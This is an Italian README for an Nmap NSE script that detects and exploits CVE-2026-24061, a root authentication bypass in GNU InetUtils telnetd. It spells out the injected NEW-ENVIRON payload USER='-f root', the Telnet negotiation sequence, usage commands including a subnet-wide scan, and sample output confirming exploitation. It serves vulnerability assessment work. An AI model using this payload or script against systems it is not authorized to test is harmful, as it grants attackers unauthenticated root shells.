
Lo script esegue una negoziazione Telnet completa rispecchiando l'esatta sequenza di byte di una sessione client telnet -a reale.
Questo script Nmap NSE rileva CVE-2026-24061, una vulnerabilità di bypass dell'autenticazione in GNU InetUtils telnetd versioni 1.9.3 fino a 2.7.
Inviando una variabile d'ambiente USER appositamente modificata nella forma durante
la negoziazione delle opzioni Telnet, un attaccante non autenticato può ottenere una shell con i
privilegi dell'utente locale specificato — incluso — .
-f <username>rootUso previsto: Solo test di penetrazione autorizzati e valutazione delle vulnerabilità.
Eseguire questo script contro sistemi senza esplicita autorizzazione scritta è illegale.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-24061 |
| Versioni affette | GNU InetUtils telnetd 1.9.3 – 2.7 |
| Punteggio CVSSv3 | 9.8 Critico |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | Bypass dell'autenticazione (CWE-287) |
| Divulgazione | 2026-01-01 |
GNU InetUtils telnetd utilizza l'opzione Telnet NEW-ENVIRON (RFC 1572) per ricevere
variabili d'ambiente dal client durante la fase di negoziazione. Il programma login(1)
viene quindi invocato con quelle variabili.
La vulnerabilità nasce dal fatto che telnetd passa la variabile USER direttamente a
login senza sanificarla. Il programma login su Linux accetta un flag -f <user>
che significa "pre-autenticato, non controllare la password". Iniettando
USER="-f root" tramite il payload NEW-ENVIRON, l'attaccante bypassa completamente l'autenticazione.
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Risposta del server: avvia login -f root → shell root, nessuna password richiesta
| Campo | Valore |
|---|---|
| Nome file | telnet-vuln-cve-2026-24061.nse |
| Categorie | vuln, exploit, intrusive |
| Porta | TCP/23 (telnet) |
| Testato su | Nmap 7.94 / 7.98, Windows e Linux |
Lo script esegue una negoziazione Telnet completa che replica la sequenza esatta di byte
di una sessione client reale telnet -a (ricostruita da una cattura Wireshark):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <user>' nel payload IS di NEW-ENVIRONWILL ECHO / DO BINARY / WONT LINEMODEStati del risultato:
| Stato | Significato |
|---|---|
EXPLOIT | Prompt della shell ricevuto — bypass confermato |
LIKELY_VULN | Payload ENV accettato, nessun prompt password, ma nessun prompt shell |
NOT_VULN | Prompt password osservato, oppure negoziazione non completata |
# Copia nella directory degli script di Nmap
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Aggiorna il database degli script
sudo nmap --script-updatedb
# Copia nella directory degli script di Nmap (regola il percorso se necessario)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Aggiorna il database degli script (esegui come Amministratore)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>
# Forma breve
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>
# Forma media
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>
# Forma completa
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <target>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <target> # verbose
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <target> # debug
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target> # traccia hex completa
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentication Bypass
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
| authentication bypass via a crafted USER environment variable.
| Sending '-f <user>' results in an unauthenticated login shell.
| Extra information:
| Authentication bypassed: shell prompt received after injecting
| USER='-f root' -- no password challenge was presented.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(nessun output dello script — NOT_VULN è silenzioso per progettazione, convenzione standard di Nmap)
| Argomento | Alias | Predefinito | Descrizione |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | Nome utente da iniettare tramite -f |
GNU InetUtils telnetd utilizza la negoziazione Linemode (RFC 1184) per determinare la
modalità I/O del terminale. Il server invia DO LINEMODE all'inizio della negoziazione, e il
client risponde inizialmente con WILL LINEMODE. Dopo lo scambio del payload ENV, il server
invia WILL ECHO seguito da DO BINARY. A questo punto il client deve rispondere
con WONT LINEMODE per segnalare la modalità carattere-per-carattere — solo allora telnetd
può completare la configurazione della PTY (ioctl TIOCSWINSZ) e generare login. Senza questo
passaggio, il server registra peer died: Inappropriate ioctl for device e chiude la connessione.
L'API socket NSE di Nmap differisce dalle convenzioni standard dei socket Lua:
-- Nmap NSE (corretto):
local status, data = sock:receive_bytes(1)
if status == true then -- data è la stringa ricevuta
Questo script è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento. Ottenere sempre esplicita autorizzazione scritta prima di testare sistemi che non si possiedono.